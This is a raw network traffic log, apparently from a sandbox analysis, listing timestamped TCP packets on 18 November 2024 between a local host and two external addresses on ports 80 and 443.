Nov 18, 2024 00:27:29.491585970 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491597891 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491622925 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.491651058 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491672039 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.491722107 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.491801023 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491812944 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491825104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491837978 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.491877079 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.491898060 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492048025 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492060900 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492079020 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492089987 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492094994 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492101908 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492117882 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492141962 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492420912 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492432117 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492443085 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492469072 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492482901 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492568970 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492604971 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492611885 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492615938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492635965 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492645979 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492672920 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492690086 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492711067 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492722988 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.492969990 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492981911 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.492994070 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.493005037 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.493011951 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.493027925 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.493051052 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.493202925 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.493212938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.493254900 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.493298054 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.493309975 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.493321896 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.493345022 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.493367910 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.531431913 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.531445980 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.531459093 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.531471014 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.531482935 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.531506062 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.531600952 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.531601906 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.531601906 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.531999111 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.532010078 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.532048941 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.565854073 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.566441059 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.566452980 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.566483974 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.566515923 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.566565037 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.566724062 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.566742897 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.566756010 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.566764116 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.566934109 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.566941023 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.569780111 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.569807053 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.569885015 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.570065975 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.570080042 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.595299006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595335960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595346928 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595356941 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595379114 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595388889 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595546007 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595556021 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595565081 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595575094 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595591068 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595593929 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595602989 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595604897 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595614910 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595626116 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595633030 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595654011 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595674038 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595839024 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595850945 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595860958 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.595882893 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.595896959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.606864929 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.606885910 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.606899023 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.606909990 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.606921911 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.606934071 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.606945992 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.606957912 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607058048 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607059002 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607059002 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607059002 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607115030 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607127905 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607141972 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607173920 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607175112 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607207060 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607244968 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607258081 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607300997 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607300997 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607378006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607391119 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607423067 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607449055 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607517958 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607537031 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607549906 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607561111 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607572079 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607572079 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607604027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607604027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607727051 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607741117 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607753038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607770920 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607801914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607801914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607862949 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607883930 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607894897 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607906103 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607907057 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.607939959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607939959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.607964993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608006001 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.608181000 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608192921 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608216047 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608227015 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608233929 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.608233929 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.608238935 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608254910 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.608278036 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.608489037 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608500957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608513117 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.608532906 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.608557940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.614854097 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.615540981 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.615556002 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.616048098 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.616051912 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.646780968 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.646891117 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.646903038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.646913052 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.646924973 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.646934986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.646951914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.646951914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.646951914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.646997929 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.690021992 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.690037012 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.690047979 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.690092087 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.690121889 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.695141077 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.695219040 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.695261955 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.695548058 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.695561886 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.695576906 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.695595980 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.699333906 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.699366093 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.699489117 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.699655056 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.699670076 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.713557959 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713573933 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713593960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713604927 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713617086 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713625908 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.713629007 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713641882 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713650942 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.713660955 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713671923 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713676929 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.713682890 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713695049 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713702917 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.713702917 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.713707924 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.713725090 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.713762999 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722146988 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722158909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722168922 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722204924 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722237110 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722266912 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722285032 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722296953 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722306967 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722320080 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722320080 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722347021 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722347021 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722420931 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722470045 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722477913 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722487926 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722522974 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722524881 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722553015 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722553015 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722572088 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722624063 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722652912 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722664118 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722673893 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722701073 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722724915 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722800970 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722856045 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.722887993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722897053 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.722935915 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723197937 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723208904 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723218918 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723231077 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723242044 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723249912 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723253012 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723268032 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723293066 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723304033 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723330021 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723342896 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723366022 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723442078 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723453045 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723464012 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723469019 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723479986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723490953 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723493099 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723504066 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723514080 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723531008 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723555088 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.723934889 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723946095 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723956108 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.723985910 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.724009037 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.724009037 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.724036932 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.724050045 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.724071980 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.724126101 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.724147081 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.724168062 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.724193096 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.742832899 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.742888927 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.742965937 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.743093014 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.743093014 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.743099928 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.743108034 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.745721102 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.745779037 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.745851994 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.745976925 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:29.746005058 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:29.762309074 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.762326002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.762336016 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.762366056 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.762398958 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.762582064 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.762594938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.762604952 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.762635946 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.762659073 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.805493116 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.805507898 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.805519104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.805531979 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.805587053 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.805628061 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.826324940 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826370001 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826381922 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826401949 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826411963 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826421022 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826539993 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.826623917 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.826623917 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.826646090 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826656103 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826666117 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826675892 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826687098 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826708078 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.826741934 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.826742887 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.826931000 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826941013 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826956034 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826967955 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.826986074 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.826987028 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.827028036 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.837562084 CET	80	49741	185.215.113.206	192.168.2.6
